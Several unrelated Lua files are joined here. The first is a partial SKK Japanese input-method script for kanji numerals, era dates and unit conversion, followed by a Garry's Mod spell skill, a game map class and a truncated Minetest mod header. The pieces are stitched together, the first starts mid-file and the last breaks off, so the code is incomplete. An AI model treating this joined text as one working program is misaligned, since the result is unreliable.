local skk_num_type3_table = {"〇", "一", "二", "三", "四", "五", "六", "七", "八", "九"}
local skk_num_type3_1k_table = {"", "十", "百", "千"}
local skk_num_type3_10k_table = {"", "万", "億", "兆", "京", "垓",
"𥝱", "穣", "溝", "澗", "正", "載", "極", "恒河沙", "阿僧祇", "那由他", "不可思議", "無量大数"}
-- 数値変換タイプ5 (漢数字、大字)
local skk_num_type5_table = {"零", "壱", "弐", "参", "四", "五", "六", "七", "八", "九"}
local skk_num_type5_1k_table = {"", "拾", "百", "千"}
local skk_num_type5_10k_table = {"", "万", "億", "兆", "京", "垓",
"𥝱", "穣", "溝", "澗", "正", "載", "極", "恒河沙", "阿僧祇", "那由他", "不可思議", "無量大数"}
-- 数値変換タイプ6 (独自拡張、ローマ数字)
local skk_num_type6_table_I = {"", "I", "II", "III", "IV", "V", "VI", "VII", "VIII", "IX"}
local skk_num_type6_table_X = {"", "X", "XX", "XXX", "XL", "L", "LX", "LXX", "LXXX", "XC"}
local skk_num_type6_table_C = {"", "C", "CC", "CCC", "CD", "D", "DC", "DCC", "DCCC", "CM"}
local skk_num_type6_table_M = {"", "M", "MM", "MMM"}
-- 数値変換タイプ8 (桁区切り)
local skk_num_type8_sep = ","
local skk_num_type8_sepnum = 3
-- 現在時刻
local skk_gadget_time = 0
-- skk-henkan-key
local skk_henkan_key = ""
-- skk-num-list
local skk_num_list = {}
-- おみくじ吉凶テーブル
local skk_gadget_omikuji_table = {"大吉", "吉", "中吉", "小吉", "末吉", "凶", "大凶"}
-- 元号テーブル
local skk_gadget_gengo_table = {
{{2019, 5, 1, 1}, "れいわ", {"令和", "R"}}, -- 2019/05/01
{{1989, 1, 8, 1}, "へいせい", {"平成", "H"}}, -- 1989/01/08
{{1926, 12, 25, 1}, "しょうわ", {"昭和", "S"}}, -- 1926/12/25
{{1912, 7, 30, 1}, "たいしょう", {"大正", "T"}}, -- 1912/07/30
{{1873, 1, 1, 6}, "めいじ", {"明治", "M"}}, -- 1873/01/01(グレゴリオ暦 明治6年)
}
-- 月テーブル
local skk_gadget_month_table = {
{"Jan", "1"}, {"Feb", "2"}, {"Mar", "3"}, {"Apr", "4"}, {"May", "5"}, {"Jun", "6"},
{"Jul", "7"}, {"Aug", "8"}, {"Sep", "9"}, {"Oct", "10"}, {"Nov", "11"}, {"Dec", "12"}
}
-- 曜日テーブル
local skk_gadget_dayofweek_table = {
{"Sun", "日"}, {"Mon", "月"}, {"Tue", "火"}, {"Wed", "水"}, {"Thu", "木"}, {"Fri", "金"}, {"Sat", "土"}
}
-- 単位テーブル
local skk_gadget_unit_table_org = {
{"mile", {{"yard", 1760.0}, {"feet", 5280.0}, {"m", 1609.344}, {"km", 1.609344}}},
{"yard", {{"feet", 3.0}, {"inch", 36.0}, {"m", 0.9144}, {"cm", 91.44}, {"mm", 914.4}}},
{"feet", {{"inch", 12.0}, {"yard", (1.0 / 3.0)}, {"m", 0.3048}, {"cm", 30.48}, {"mm", 304.8}}},
{"inch", {{"feet", (1.0 / 12.0)}, {"yard", (1.0 / 36.0)}, {"m", 0.0254}, {"cm", 2.54}, {"mm", 25.4}}},
{"pound", {{"g", 453.59237}, {"ounce", 16.0}, {"grain", 7000.0}}},
{"ounce", {{"g", 28.349523125}, {"pound", (1.0 / 16.0)}, {"grain", (7000.0 / 16.0)}}},
{"grain", {{"mg", 64.79891}, {"g", 0.06479891}, {"pound", (1.0 / 7000.0)}, {"ounce", (16.0 / 7000.0)}}},
{"寸", {{"mm", (1000 / 33)}, {"cm", (100 / 33)}}},
{"尺", {{"mm", (10000 / 33)}, {"cm", (1000 / 33)}}},
{"坪", {{"㎡", (400 / 121)}}},
{"勺", {{"L", (2401 / 1331) / 100}, {"mL", (2401 / 1331) * 10}}},
{"合", {{"L", (2401 / 1331) / 10}, {"mL", (2401 / 1331) * 100}}},
{"升", {{"L", (2401 / 1331)}}},
{"斗", {{"L", (2401 / 1331) * 10}}},
}
local skk_gadget_unit_table = {}
for i, v in ipairs(skk_gadget_unit_table_org) do
local unit_to_table = {}
for j, vv in ipairs(v[2]) do
unit_to_table[vv[1]] = vv[2]
end
skk_gadget_unit_table[v[1]] = unit_to_table
end
-- 変数テーブル
local skk_gadget_variable_table_org = {
{"skk-henkan-key", function() return skk_henkan_key end},
{"skk-num-list", function() return skk_num_list end},
{"fill-column", "70"},
{"comment-start", "/*"},
{"comment-end", "*/"},
}
local skk_gadget_variable_table = {}
for i, v in ipairs(skk_gadget_variable_table_org) do
skk_gadget_variable_table[v[1]] = v[2]
end
-- (window-width)
local window_width_value = "80"
-- (window-height)
local window_height_value = "23"
-- 文字コード表記変換プレフィックス
local charcode_conv_prefix = "?"
-- 数字を漢数字に変換
local function skk_num_to_kanji(num, type_table, type_1k_table, type_10k_table)
local ret = ""
-- 0を付加して4の倍数の桁数にする
num = string.rep("0", 4 - string.len(num) % 4) .. num
local m = string.len(num) / 4
for i = 1, m do
for j = 1, 4 do
local sj = string.sub(num, (i - 1) * 4 + j, (i - 1) * 4 + j)
if (sj ~= "0") then
-- 十の位と百の位の「一」は表記しない
if((sj ~= "1") or (j == 1) or (j == 4)) then
ret = ret .. type_table[tonumber(sj) + 1]
end
ret = ret .. type_1k_table[(4 - j) % 4 + 1]
end
end
if (string.sub(num, (i - 1) * 4 + 1, (i - 1) * 4 + 4) ~= "0000") then
ret = ret .. type_10k_table[m - i + 1]
end
end
-- 0のとき
if (ret == "") then
ret = type_table[1]
end
return ret
end
-- 数値変換タイプ未定義
local function skk_num_type_n(num, len)
return num
end
-- 数値変換タイプ1 (全角数字)
local function skk_num_type_1(num, len)
local ret = ""
for i = 1, len do
ret = ret .. skk_num_type1_table[tonumber(string.sub(num, i, i)) + 1]
end
return ret
end
-- 数値変換タイプ2 (漢数字、位取りあり)
local function skk_num_type_2(num, len)
local ret = ""
for i = 1, len do
ret = ret .. skk_num_type3_table[tonumber(string.sub(num, i, i)) + 1]
end
return ret
end
-- 数値変換タイプ3 (漢数字、位取りなし)
local function skk_num_type_3(num, len)
local ret = ""
if (len > (#skk_num_type3_10k_table * 4)) then
ret = num
else
ret = skk_num_to_kanji(num, skk_num_type3_table, skk_num_type3_1k_table, skk_num_type3_10k_table)
end
return ret
end
-- 数値変換タイプ5 (漢数字、大字)
local function skk_num_type_5(num, len)
local ret = ""
if (len > (#skk_num_type5_10k_table * 4)) then
ret = num
else
ret = skk_num_to_kanji(num, skk_num_type5_table, skk_num_type5_1k_table, skk_num_type5_10k_table)
end
return ret
end
-- 数値変換タイプ6 (独自拡張、ローマ数字)
local function skk_num_type_6(num, len)
local ret = ""
local n = tonumber(num)
if (n >= 1 and n <= 3999) then
ret = skk_num_type6_table_M[((n - (n % 1000)) / 1000) + 1] ..
skk_num_type6_table_C[(((n - (n % 100)) / 100) % 10) + 1] ..
skk_num_type6_table_X[(((n - (n % 10)) / 10) % 10) + 1] ..
skk_num_type6_table_I[(n % 10) + 1]
end
return ret
end
-- 数値変換タイプ8 (桁区切り)
local function skk_num_type_8(num, len)
local ret = ""
if (len % skk_num_type8_sepnum ~= 0) then
ret = ret .. string.sub(num, 1, len % skk_num_type8_sepnum) .. skk_num_type8_sep
end
for i = 0, (len - len % skk_num_type8_sepnum) / skk_num_type8_sepnum do
local sepi = len % skk_num_type8_sepnum + i * skk_num_type8_sepnum
ret = ret .. string.sub(num, sepi + 1, sepi + skk_num_type8_sepnum) .. skk_num_type8_sep
end
ret = string.sub(ret, 1, string.len(ret) - string.len(skk_num_type8_sep) - 1)
return ret
end
-- 数値変換タイプ9
local function skk_num_type_9(num, len)
local ret = ""
if (len == 2) then
ret = skk_num_type1_table[tonumber(string.sub(num, 1, 1)) + 1] ..
skk_num_type3_table[tonumber(string.sub(num, 2, 2)) + 1]
else
ret = num
end
return ret
end
-- 数値変換タイプ関数テーブル
local skk_num_type_func_table = {
skk_num_type_1,
skk_num_type_2,
skk_num_type_3,
skk_num_type_n,
skk_num_type_5,
skk_num_type_6,
skk_num_type_n,
skk_num_type_8,
skk_num_type_9
}
-- 数値変換
local function skk_convert_num_type(num, type)
local ret = ""
local len = string.len(num)
local ntype = tonumber(type)
if ((1 <= ntype) and (ntype <= #skk_num_type_func_table)) then
ret = skk_num_type_func_table[ntype](num, len)
else
ret = num
end
return ret
end
-- concat
local function concat(t)
local ret = ""
for i, v in ipairs(t) do
ret = ret .. v
end
return ret
end
-- substring
local function substring(t)
local s = t[1]
local i = t[2]
local j = t[3]
return string.sub(s, i + 1, j)
end
-- make-string
local function make_string(t)
local ret = ""
local i = t[1]
local c = t[2]
if (string.sub(c, 1, 1) == "?") then
c = string.sub(c, 2, 2)
end
ret = string.rep(string.sub(c, 1, 1), tonumber(i))
return ret
end
-- string-to-number
local function string_to_number(t)
return t[1]
end
-- string-to-char
local function string_to_char(t)
return string.sub(t[1], 1, 1)
end
-- number-to-string
local function number_to_string(t)
return t[1]
end
-- window-height
local function window_height(t)
return window_height_value
end
-- window-width
local function window_width(t)
return window_width_value
end
-- current-time
local function current_time(t)
return tostring(skk_gadget_time)
end
-- current-time-string
local function current_time_string(t)
local d = os.date("*t")
return string.format("%s %s %2d %02d:%02d:%02d %04d",
skk_gadget_dayofweek_table[d.wday][1], skk_gadget_month_table[d.month][1], d.day,
d.hour, d.min, d.sec, d.year)
end
-- format-time-string
local function format_time_string(t)
local format = t[1]
local time = tonumber(t[2])
return os.date(format, time)
end
-- car
local function car(t)
if (#t > 0 and #t[1] > 0) then
return t[1][1]
end
return ""
end
-- cdr
local function cdr(t)
if (#t > 0 and #t[1] > 1) then
return {table.unpack(t[1], 2)}
end
return ""
end
-- convert float to integer (remove suffix ".0")
local function float_to_integer(value)
local ivalue = math.tointeger(value)
if ivalue then
return ivalue
end
return value
end
-- 1+
local function plus_1(t)
local n1 = tonumber(t[1])
if (not n1) then
return ""
end
return float_to_integer(n1 + 1)
end
-- 1-
local function minus_1(t)
local n1 = tonumber(t[1])
if (not n1) then
return ""
end
return float_to_integer(n1 - 1)
end
-- +
local function plus(t)
local n = 0
for i, v in ipairs(t) do
local n1 = tonumber(v)
if (not n1) then
return ""
end
n = n + n1
end
return float_to_integer(n)
end
-- -
local function minus(t)
local n = 0
if (#t == 1) then
local n1 = tonumber(t[1])
if (not n1) then
return ""
end
n = -n1
else
for i, v in ipairs(t) do
local n1 = tonumber(v)
if (not n1) then
return ""
end
if (i == 1) then
n = n1
else
n = n - n1
end
end
end
return float_to_integer(n)
end
-- skk-version
local function skk_version(t)
return SKK_VERSION
end
-- skk-server-version
local function skk_server_version(t)
local v, h = crvmgr.search_skk_server_info()
if (v == "" or h == "") then
return ""
end
return "SKK SERVER version " .. v .. "running on HOST " .. h
end
-- 西暦元号変換
-- 引数 1:西暦文字列, 2:元号表記タイプ(1:漢字/2:英字頭文字), 3:変換タイプ([0-9]),
-- 4:区切り, 5:末尾, 6:NOT"元"年, 7:月, 8:日
-- 戻り値 変換済み文字列
local function conv_ad_to_gengo(num, gengotype, type, div, tail, not_gannen, month, day)
local ret = ""
local year = tonumber(num)
for i, v in ipairs(skk_gadget_gengo_table) do
if ((year >= v[1][1] and month == 0 and day == 0) or
(year > v[1][1]) or
(year == v[1][1] and month > v[1][2]) or
(year == v[1][1] and month == v[1][2] and day >= v[1][3])) then
ret = v[3][tonumber(gengotype)] .. div
local gengo_year = year - v[1][1] + v[1][4]
if ((gengo_year == 1) and (not not_gannen)) then
ret = ret .. "元" .. tail
else
ret = ret .. skk_convert_num_type(tostring(gengo_year), type) .. tail
end
break
end
end
return ret
end
-- skk-ad-to-gengo
local function skk_ad_to_gengo(t)
local ret = ""
local num = skk_num_list[1]
local gengotype = t[1] + 1
local divider = t[2]
local tail = t[3]
local not_gannen = t[4]
if (divider == "nil") then
divider = ""
end
if (tail == "nil") then
tail = ""
end
if (not_gannen == "nil") then
not_gannen = nil
end
ret = conv_ad_to_gengo(num, gengotype, "0", divider, tail, not_gannen, 0, 0)
return ret
end
-- skk-gengo-to-ad
local function skk_gengo_to_ad(t)
local ret = ""
local num = skk_num_list[1]
local head = t[1]
local tail = t[2]
local year = tonumber(num)
for i, v in ipairs(skk_gadget_gengo_table) do
if (string.sub(skk_henkan_key, 1, string.len(v[2])) == v[2]) then
if (year >= v[1][4]) then
local ad_year = year + v[1][1] - v[1][4]
ret = head .. tostring(ad_year) .. tail
break
end
end
end
return ret
end
-- skk-default-current-date
local function skk_default_current_date(t)
local ret = ""
if (t == nil) then
local d = os.date("*t", skk_gadget_time)
ret = string.format("%s年%s月%s日(%s)",
conv_ad_to_gengo(tostring(d.year), "1", "1", "", "", false, d.month, d.day),
skk_convert_num_type(tostring(d.month), "1"),
skk_convert_num_type(tostring(d.day), "1"),
skk_gadget_dayofweek_table[d.wday][2])
else
local d = os.date("*t", skk_gadget_time)
local format = t[2]
local num_type = t[3]
local gengo = t[4]
local gengo_index = t[5]
local month_index = t[6]
local dayofweek_index = t[7]
local and_time = t[8]
if (format == nil or format == "nil") then
if ((and_time == nil) or (and_time == "nil")) then
format = "%s年%s月%s日(%s)"
else
format = "%s年%s月%s日(%s)%s時%s分%s秒"
end
end
if (num_type == "nil") then
num_type = "0"
end
if (dayofweek_index == "nil") then
dayofweek_index = "-1"
end
local y = ""
if (gengo == "nil") then
y = tostring(d.year)
else
y = conv_ad_to_gengo(tostring(d.year), tostring(tonumber(gengo_index) + 1),
num_type, "", "", false, d.month, d.day)
end
if ((and_time == nil) or (and_time == "nil")) then
ret = string.format(format, y,
skk_convert_num_type(tostring(d.month), num_type),
skk_convert_num_type(tostring(d.day), num_type),
skk_gadget_dayofweek_table[d.wday][tonumber(dayofweek_index) + 2])
else
ret = string.format(format, y,
skk_convert_num_type(tostring(d.month), num_type),
skk_convert_num_type(tostring(d.day), num_type),
skk_gadget_dayofweek_table[d.wday][tonumber(dayofweek_index) + 2],
skk_convert_num_type(string.format("%02d", d.hour), num_type),
skk_convert_num_type(string.format("%02d", d.min), num_type),
skk_convert_num_type(string.format("%02d", d.sec), num_type))
end
end
return ret
end
-- skk-current-date
local function skk_current_date(t)
local ret = ""
local pp_function = t[1]
-- local format = [2]
-- local and_time = [3]
if (pp_function == nil) then
ret = skk_default_current_date(nil)
else
ret = eval_table(pp_function)
end
return ret
end
-- skk-relative-date
local function skk_relative_date(t)
local ret = ""
local pp_function = t[1]
-- local format = t[2]
-- local and_time = t[3]
local ymd = t[4]
local diff = t[5]
local d = os.date("*t", skk_gadget_time)
if (ymd == ":yy") then
d["year"] = d["year"] + tonumber(diff)
elseif (ymd == ":mm") then
d["month"] = d["month"] + tonumber(diff)
elseif (ymd == ":dd") then
d["day"] = d["day"] + tonumber(diff)
else
end
local skk_gadget_time_bak = skk_gadget_time
skk_gadget_time = os.time(d)
if (pp_function == "nil") then
ret = skk_default_current_date(nil)
else
ret = eval_table(pp_function)
end
skk_gadget_time = skk_gadget_time_bak
return ret
end
-- skk-gadget-units-conversion
local function skk_gadget_units_conversion(t)
local ret = ""
local unit_from = t[1]
local number = t[2]
local unit_to = t[3]
local value_from = skk_gadget_unit_table[unit_from]
if (value_from) then
local value_to = value_from[unit_to]
if (value_to) then
ret = tostring(float_to_integer(tonumber(number) * value_to)) .. unit_to
end
end
return ret
end
-- skk-omikuji
local function skk_omikuji(t)
return skk_gadget_omikuji_table[math.random(1, #skk_gadget_omikuji_table)]
end
-- skk-strftime
local function skk_strftime(t)
local format = t[1]
local unit = t[2]
local diff = t[3]
local skk_gadget_time_table = os.date('*t', skk_gadget_time)
if (unit and skk_gadget_time_table[unit] and diff) then
skk_gadget_time_table[unit] = skk_gadget_time_table[unit] + tonumber(diff)
end
return os.date(format, os.time(skk_gadget_time_table))
end
-- 関数テーブル
local skk_gadget_func_table_org = {
{"concat", concat},
{"substring", substring},
{"make-string", make_string},
{"string-to-number", string_to_number},
{"string-to-char", string_to_char},
{"number-to-string", number_to_string},
{"window-width", window_width},
{"window-height", window_height},
{"current-time", current_time},
{"current-time-string", current_time_string},
{"format-time-string", format_time_string},
{"car", car},
{"cdr", cdr},
{"1+", plus_1},
{"1-", minus_1},
{"+", plus},
{"-", minus},
{"skk-version", skk_version},
{"skk-server-version", skk_server_version},
{"skk-ad-to-gengo", skk_ad_to_gengo},
{"skk-gengo-to-ad", skk_gengo_to_ad},
{"skk-default-current-date", skk_default_current_date},
{"skk-current-date", skk_current_date},
{"skk-relative-date", skk_relative_date},
{"skk-gadget-units-conversion", skk_gadget_units_conversion},
{"skk-omikuji", skk_omikuji},
{"skk-strftime", skk_strftime},
}
local skk_gadget_func_table = {}
for i, v in ipairs(skk_gadget_func_table_org) do
skk_gadget_func_table[v[1]] = v[2]
end
-- 文字列パース
local function parse_string(s)
local ret = ""
local bsrep = "\u{f05c}"
s = string.gsub(s, "^\"(.*)\"$", "%1")
-- バックスラッシュ
s = string.gsub(s, "\\\\", bsrep)
-- 二重引用符
s = string.gsub(s, "\\\"", "\"")
-- 空白文字
s = string.gsub(s, "\\s", "\x20")
-- 制御文字など
s = string.gsub(s, "\\[abtnvfred ]", "")
-- 8進数表記の文字
s = string.gsub(s, "\\[0-3][0-7][0-7]",
function(n)
local c =
tonumber(string.sub(n, 2, 2)) * 64 +
tonumber(string.sub(n, 3, 3)) * 8 +
tonumber(string.sub(n, 4, 4))
if (c >= 0x20 and c <= 0x7E) then
return string.char(c)
end
return ""
end)
-- 意味なしエスケープ
s = string.gsub(s, "\\", "")
-- バックスラッシュ
s = string.gsub(s, bsrep, "\\")
ret = s
return ret
end
-- S式をテーブル表記に変換
function convert_s_to_table(s)
local ret = ""
local e = ""
local q = 0
local d = 0
local c = ""
local r = ""
for i = 1, string.len(s) do
c = string.sub(s, i, i)
r = string.sub(ret, -1)
if (c == "\"" and q == 0) then
q = 1
elseif (c == "\"" and q == 1 and d == 0) then
q = 0
end
if (q == 0) then
if (c == "(") then
if (ret ~= "") then
ret = ret .. ","
end
ret = ret .. "{"
elseif (c == ")" or c == "\x20") then
if (e ~= "") then
if (r ~= "{") then
ret = ret .. ","
end
e = string.gsub(e, "\"", "\\\"")
ret = ret .. "\"" .. e .. "\""
e = ""
end
else
e = e .. c
end
if (c == ")") then
ret = ret .. "}"
end
else
e = e .. c
if (c == "\\") then
e = e .. c
d = d ~ 1
else
d = 0
end
end
end
return ret
end
-- テーブル評価
function eval_table(x)
local argtype = type(x)
if (argtype == "table" and #x > 0) then
if (x[1] == "lambda") then
if (#x >= 3 and x[3]) then
return x[3]
else
return ""
end
end
local func = skk_gadget_func_table[x[1]]
if (func) then
local arg = {table.unpack(x, 2)}
for i, v in ipairs(arg) do
local vv = skk_gadget_variable_table[v]
if (vv) then
v = vv
end
arg[i] = eval_table(v)
end
return func(arg)
end
elseif (argtype == "function") then
return x()
elseif (argtype == "string") then
return parse_string(x)
end
return ""
end
-- skk-ignore-dic-word
local function skk_ignore_dic_word(candidates)
local ret = ""
local sca = ""
local ignore_word_table = {}
for ca in string.gmatch(candidates, "([^/]+)") do
local c = string.gsub(ca, ";.+", "")
local word = string.gsub(c, "^%(%s*skk%-ignore%-dic%-word%s+\"(.+)\"%s*%)$", "%1")
if (word ~= c) then
ignore_word_table[word] = true
else
sca = sca .. "/" .. ca
end
end
if (sca == candidates) then
return candidates
end
for ca in string.gmatch(sca, "([^/]+)") do
local c = string.gsub(ca, ";.+", "")
if (not ignore_word_table[c]) then
ret = ret .. "/" .. ca
end
end
return ret
end
-- 候補全体を数値変換
local function skk_convert_num(key, candidate)
local ret = ""
local keytemp = key
ret = string.gsub(candidate, "#%d+",
function(type)
local num = string.match(keytemp, "%d+")
keytemp = string.gsub(keytemp, "%d+", "#", 1)
if (num) then
return skk_convert_num_type(num, string.sub(type, 2))
else
return type
end
end)
return ret
end
-- 実行変換
local function skk_convert_gadget(key, candidate)
-- skk-henkan-key
skk_henkan_key = key
-- skk-num-list
skk_num_list = {}
string.gsub(key, "%d+",
function(n)
table.insert(skk_num_list, n)
end)
-- 日付時刻
skk_gadget_time = os.time()
-- 乱数
math.randomseed(skk_gadget_time)
local f = load("return " .. convert_s_to_table(candidate))
if (not f) then
return candidate
end
return eval_table(f())
end
-- 候補変換処理
local function skk_convert_candidate(key, candidate, okuri)
local ret = ""
local temp = candidate
-- xtu/xtsuで「っ」を送り仮名にしたとき送りローマ字「t」を有効にする
if (okuri == "っ" and string.sub(key, string.len(key)) == "x") then
return candidate
end
-- 数値変換
if (enable_skk_convert_num) then
if (string.find(key, "%d+") and string.find(temp, "#%d")) then
temp = skk_convert_num(key, temp)
ret = temp
end
end
-- 実行変換
if (enable_skk_convert_gadget) then
if (string.match(temp, "^%(.+%)$")) then
temp = skk_convert_gadget(key, temp)
ret = temp
end
end
return ret
end
-- 見出し語変換処理
local function skk_convert_key(key, okuri)
local ret = ""
-- xtu/xtsuで「っ」を送り仮名にしたとき送りローマ字を「t」に変換する
if (okuri == "っ" and string.sub(key, string.len(key)) == "x") then
return string.sub(key, 1, string.len(key) - 1) .. "t"
end
-- 文字コード表記変換のとき見出し語変換しない
local cccplen = string.len(charcode_conv_prefix)
if (cccplen < string.len(key) and string.sub(key, 1, cccplen) == charcode_conv_prefix) then
return ""
end
-- 数値変換
if (enable_skk_convert_num) then
if (string.find(key, "%d+")) then
ret = string.gsub(key, "%d+", "#")
end
end
return ret
end
-- 辞書検索処理
-- 検索結果のフォーマットはSKK辞書の候補部分と同じ
-- "/<C1><;A1>/<C2><;A2>/.../<Cn><;An>/\n"
local function skk_search(key, okuri)
local ret = ""
-- ユーザー辞書検索
ret = ret .. crvmgr.search_user_dictionary(key, okuri)
-- SKK辞書検索
ret = ret .. crvmgr.search_skk_dictionary(key, okuri)
-- SKK辞書サーバー検索
ret = ret .. crvmgr.search_skk_server(key)
if (okuri == "") then
-- Unicodeコードポイント変換
ret = ret .. crvmgr.search_unicode(key)
-- JIS X 0213面区点番号変換
ret = ret .. crvmgr.search_jisx0213(key)
-- JIS X 0208区点番号変換
ret = ret .. crvmgr.search_jisx0208(key)
local cccplen = string.len(charcode_conv_prefix)
if (cccplen < string.len(key) and string.sub(key, 1, cccplen) == charcode_conv_prefix) then
local subkey = string.sub(key, cccplen + 1)
-- 文字コード表記変換
ret = ret .. crvmgr.search_character_code(subkey)
end
end
-- 余計な"/\n"を削除
ret = string.gsub(ret, "/\n/", "/")
return ret
end
--[[
C側から呼ばれる関数群
--]]
-- 辞書検索
function lua_skk_search(key, okuri)
-- skk-search-sagyo-henkaku (t:true/anything:false)
if (enable_skk_search_sagyo_only) then
if (okuri ~= "" and string.find("さしすせサシスセ", okuri) == nil and
string.match(string.sub(key, -1), "[a-z]") == nil) then
return ""
end
end
local ret = skk_search(key, okuri)
-- skk-ignore-dic-word
if (enable_skk_ignore_dic_word) then
ret = skk_ignore_dic_word(ret)
end
return ret
end
-- 補完
function lua_skk_complement(key)
return crvmgr.complement(key)
end
-- 見出し語変換
function lua_skk_convert_key(key, okuri)
return skk_convert_key(key, okuri)
end
-- 候補変換
function lua_skk_convert_candidate(key, candidate, okuri)
return skk_convert_candidate(key, candidate, okuri)
end
-- 辞書追加
function lua_skk_add(okuriari, key, candidate, annotation, okuri)
--[[
-- 例) 送りありのときユーザー辞書に登録しない
if (okuriari) then
return
end
--]]
--[[
-- 例) 送り仮名ブロックを登録しない
if (okuriari) then
okuri = ""
end
--]]
--[[
-- 例) Unicodeコードポイント変換のときユーザー辞書に登録しない
if not (okuriari) then
if (string.match(key, "^U%+[0-9A-F]+$") or string.match(key, "^u[0-9a-f]+$")) then
if (string.match(key, "^U%+[0-9A-F][0-9A-F][0-9A-F][0-9A-F]$") or -- U+XXXX
string.match(key, "^U%+[0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F]$") or -- U+XXXXX
string.match(key, "^U%+10[0-9A-F][0-9A-F][0-9A-F][0-9A-F]$") or -- U+10XXXX
string.match(key, "^u[0-9a-f][0-9a-f][0-9a-f][0-9a-f]$") or -- uxxxx
string.match(key, "^u[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]$") or -- uxxxxx
string.match(key, "^u10[0-9a-f][0-9a-f][0-9a-f][0-9a-f]$")) then -- u10xxxx
return
end
end
end
--]]
--[[
-- 例) JIS X 0213面区点番号変換のときユーザー辞書に登録しない
if not (okuriari) then
if (string.match(key, "^[12]%-[0-9][0-9]%-[0-9][0-9]$")) then
if (string.match(key, "^[12]%-0[1-9]%-0[1-9]$") or -- [12]-01-01 - [12]-09-94
string.match(key, "^[12]%-0[1-9]%-[1-8][0-9]$") or -- 〃
string.match(key, "^[12]%-0[1-9]%-9[0-4]$") or -- 〃
string.match(key, "^[12]%-[1-8][0-9]%-0[1-9]$") or -- [12]-10-01 - [12]-89-94
string.match(key, "^[12]%-[1-8][0-9]%-[1-8][0-9]$") or -- 〃
string.match(key, "^[12]%-[1-8][0-9]%-9[0-4]$") or -- 〃
string.match(key, "^[12]%-9[0-4]%-0[1-9]$") or -- [12]-90-01 - [12]-94-94
string.match(key, "^[12]%-9[0-4]%-[1-8][0-9]$") or -- 〃
string.match(key, "^[12]%-9[0-4]%-9[0-4]$")) then -- 〃
return
end
end
end
--]]
--[[
-- 例) JIS X 0208区点番号変換のときユーザー辞書に登録しない
if not (okuriari) then
if (string.match(key, "^[0-9][0-9]%-[0-9][0-9]$")) then
if (string.match(key, "^0[1-9]%-0[1-9]$") or -- 01-01 - 09-94
string.match(key, "^0[1-9]%-[1-8][0-9]$") or -- 〃
string.match(key, "^0[1-9]%-9[0-4]$") or -- 〃
string.match(key, "^[1-8][0-9]%-0[1-9]$") or -- 10-01 - 89-94
string.match(key, "^[1-8][0-9]%-[1-8][0-9]$") or -- 〃
string.match(key, "^[1-8][0-9]%-9[0-4]$") or -- 〃
string.match(key, "^9[0-4]%-0[1-9]$") or -- 90-01 - 94-94
string.match(key, "^9[0-4]%-[1-8][0-9]$") or -- 〃
string.match(key, "^9[0-4]%-9[0-4]$")) then -- 〃
return
end
end
end
--]]
--[[
-- 例) 文字コード表記変換のときユーザー辞書に登録しない
if not (okuriari) then
local cccplen = string.len(charcode_conv_prefix)
if (cccplen < string.len(key) and string.sub(key, 1, cccplen) == charcode_conv_prefix) then
return
end
end
--]]
crvmgr.add(okuriari, key, candidate, annotation, okuri)
end
-- 辞書削除
function lua_skk_delete(okuriari, key, candidate)
crvmgr.delete(okuriari, key, candidate)
end
-- 辞書保存
function lua_skk_save()
crvmgr.save()
end
|
SKILL.name = "Thunderbolt of Urannon"
SKILL.LevelReq = 15
SKILL.SkillPointCost = 3
SKILL.Incompatible = {
}
SKILL.RequiredSkills = {
}
SKILL.icon = "vgui/skills/Spell_fire_flamebolt.png"
SKILL.category = "Lore of Heavens"-- Common Passives, Warrior, Lore of Light, Lore of Life
SKILL.slot = "RANGED" -- ULT, RANGED, MELEE, AOE, PASSIVE
SKILL.class = {
"celestial_wizard"
}
SKILL.desc = [[
Razor-sharp shards of ice hurl from the chill skies to blind and dishearten the foe.
Ability Slot: 2
Class Restriction: Bright Wizard
Level Requirement: ]] .. SKILL.LevelReq .. [[
Skill Point Cost:]] .. SKILL.SkillPointCost .. [[
]]
SKILL.coolDown = 30
local function ability(SKILL, ply )
local nospam = ply:GetNWBool( "nospamRanged" )
if (nospam) then
if timer.Exists(ply:SteamID().."nospamRanged") then return end
timer.Create(ply:SteamID().."nospamRanged", SKILL.coolDown, 1, function()
ply:SetNWBool( "nospamRanged", false )
end)
return
end
local mana = ply:getLocalVar("mana", 0)
if mana < 20 then
return
end
ply:setLocalVar("mana", mana - 20)
local BoneID = ply:LookupBone( "ValveBiped.Bip01_R_Hand" )
local MainPos = ply:GetBonePosition(BoneID)
local Ent = ents.Create("sent_zad_urannon")
local OwnerPos = ply:GetShootPos()
local OwnerAng = ply:GetAimVector():Angle()
OwnerPos = OwnerPos + OwnerAng:Forward()*-20 + OwnerAng:Up()*-9 + OwnerAng:Right()*10
if ply:IsPlayer() then Ent:SetAngles(OwnerAng) else Ent:SetAngles(ply:GetAngles()) end
local BoneID = ply:LookupBone( "ValveBiped.Bip01_R_Hand" )
Ent:SetPos(MainPos)
local ent = nil
if ply:GetEyeTrace().Entity:IsPlayer() or ply:GetEyeTrace().Entity:IsNPC() then
ent = ply:GetEyeTrace().Entity
else
local Ents = ents.FindInCone(ply:EyePos(), ply:GetAimVector(), 500, math.cos(math.rad(120)))
for k, v in pairs(Ents) do
if ((v:IsPlayer() and v != ply) or v:IsNPC()) then
ent = v
end
end
end
Ent:SetOwner(ply)
Ent:Spawn()
Ent.InitialTarget = ent
if (SERVER) then
ply:SetNWBool( "nospamRanged", true )
print("Cdstart")
net.Start( "RangedActivated" )
net.Send( ply )
if timer.Exists(ply:SteamID().."nospamRanged") then return end
timer.Create(ply:SteamID().."nospamRanged", SKILL.coolDown, 1, function()
ply:SetNWBool( "nospamRanged", false )
end)
end
end
SKILL.ability = ability |
local Map = require "maps.map"
local MountainVillage = Map:new()
function MountainVillage:new(o, control)
o = o or Map:new(o, control)
setmetatable(o, self)
self.__index = self
return o
end
function MountainVillage:create()
Map.create(self)
end
function MountainVillage:enter()
Map.enter(self)
if self.control.data.sir_cavalion_left then
print('remove')
sfml_remove_character('sir_cavalion')
end
end
function MountainVillage:exit()
Map.exit(self)
end
return MountainVillage
|
-----------------------------------------------------------------------------------------------
-- local title = "Cave Stuff"
-- local version = "0.0.3"
-- local mname = "cavestuff"
-----------------------------------------------------------------------------------------------
-- dofile(minetest.get_modpath("cavestuff").."/nodes.lua")
-- dofile(minetest.get_modpath("cavestuff").."/mapgen.lua")
-----------------------------------------------------------------------------------------------
-- minetest.log("action", "[Mod] "..title.." ["..version.."] ["..mname.."] Loaded...")
--[[minetest.register_abm({
